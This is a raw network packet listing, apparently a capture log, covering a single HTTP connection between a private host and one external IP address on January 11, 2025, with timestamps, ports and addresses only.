Jan 11, 2025 02:05:14.733779907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733797073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733828068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.733855009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733866930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.733900070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.734009981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734020948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734033108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734061003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.734098911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734111071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734132051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.734754086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734766960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734776974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734792948 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.734827042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.734873056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734886885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734898090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.734920979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.736896992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752159119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752188921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752201080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752212048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752223015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752270937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752363920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752377033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752404928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752531052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752542973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752553940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752571106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752578020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752585888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752604961 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752620935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.752882957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752926111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752937078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.752963066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.779197931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.779213905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.779226065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.779325962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.789267063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.789292097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.789311886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.789390087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.789400101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.789411068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.789452076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.815835953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.815860987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.815872908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.815896988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.815918922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.815987110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.815999031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816046953 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.816623926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816637039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816654921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816663027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.816807032 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816817999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816828012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816838026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816843987 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.816863060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.816981077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.816992044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.817003012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.817014933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.817017078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.817038059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.817070007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.817106962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.852780104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.852807045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.852818012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.852854013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.852921963 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.852953911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.852977991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.852989912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853022099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853080034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853144884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853178024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853187084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853209972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853240013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853311062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853323936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853358984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853430986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853472948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853483915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853502989 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853574038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853585005 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853606939 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853874922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853892088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853902102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.853909969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.853934050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854084969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854129076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854139090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854157925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854223013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854234934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854258060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854582071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854593992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854604006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854618073 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854635954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854773998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854784966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854795933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854809046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854832888 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854871988 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.854906082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854918003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.854955912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.855381966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855410099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855439901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.855448961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855523109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855532885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855556011 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.855635881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855647087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855658054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855669975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855670929 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.855690956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.855776072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.855813980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.856401920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856412888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856424093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856453896 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.856506109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856517076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856528044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856538057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856542110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.856565952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.856683969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856694937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856708050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.856718063 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.856745005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.857244968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857284069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857295036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857312918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.857460976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857472897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857482910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857500076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.857523918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.857575893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857587099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857600927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857611895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.857625008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.857644081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.858279943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858290911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858302116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858326912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.858335018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858347893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858357906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858369112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858375072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.858405113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.858474970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858485937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858495951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.858510017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.858536005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.859146118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859189987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859199047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859220028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.859328985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859339952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859349012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859375954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.859390974 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.859430075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859440088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859448910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859461069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.859467030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.859502077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.860059977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860110998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860121012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860152960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.860189915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860202074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860207081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.860260010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.860297918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.865988016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866003990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866013050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866080046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.866106987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866116047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866126060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866152048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866158962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.866162062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866168976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.866190910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.866220951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.886997938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.902786970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.902803898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.902815104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.902888060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.902899027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.902978897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.902990103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903002024 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903038979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903069019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903522015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903587103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903597116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903630972 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903661013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903672934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903700113 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903773069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903784037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903795958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903820038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903846025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.903904915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903954029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903966904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.903978109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.904057980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.904069901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.904207945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.923022032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.929661036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.939656019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939687014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939697981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939727068 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.939734936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939749956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939773083 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.939806938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939841986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.939922094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939934969 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.939963102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940186977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940237999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940249920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940270901 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940351009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940362930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940373898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940387964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940409899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940452099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940571070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940581083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940593958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940603971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940604925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940618992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940622091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940634012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940655947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940789938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940803051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940820932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940824986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940834045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940845966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940851927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940860033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940872908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940881968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.940887928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.940910101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941063881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941076040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941087008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941098928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941107035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941116095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941119909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941132069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941144943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941169977 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941194057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941490889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941504002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941515923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941526890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941538095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941543102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941550970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941562891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941570044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941574097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941606998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941754103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941766977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941778898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941790104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941802025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941807985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.941811085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.941862106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944147110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:05:14.944679976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944695950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944708109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944720030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 02:05:14.944731951 CET	80	49711	193.143.1.205	192.168.2.6
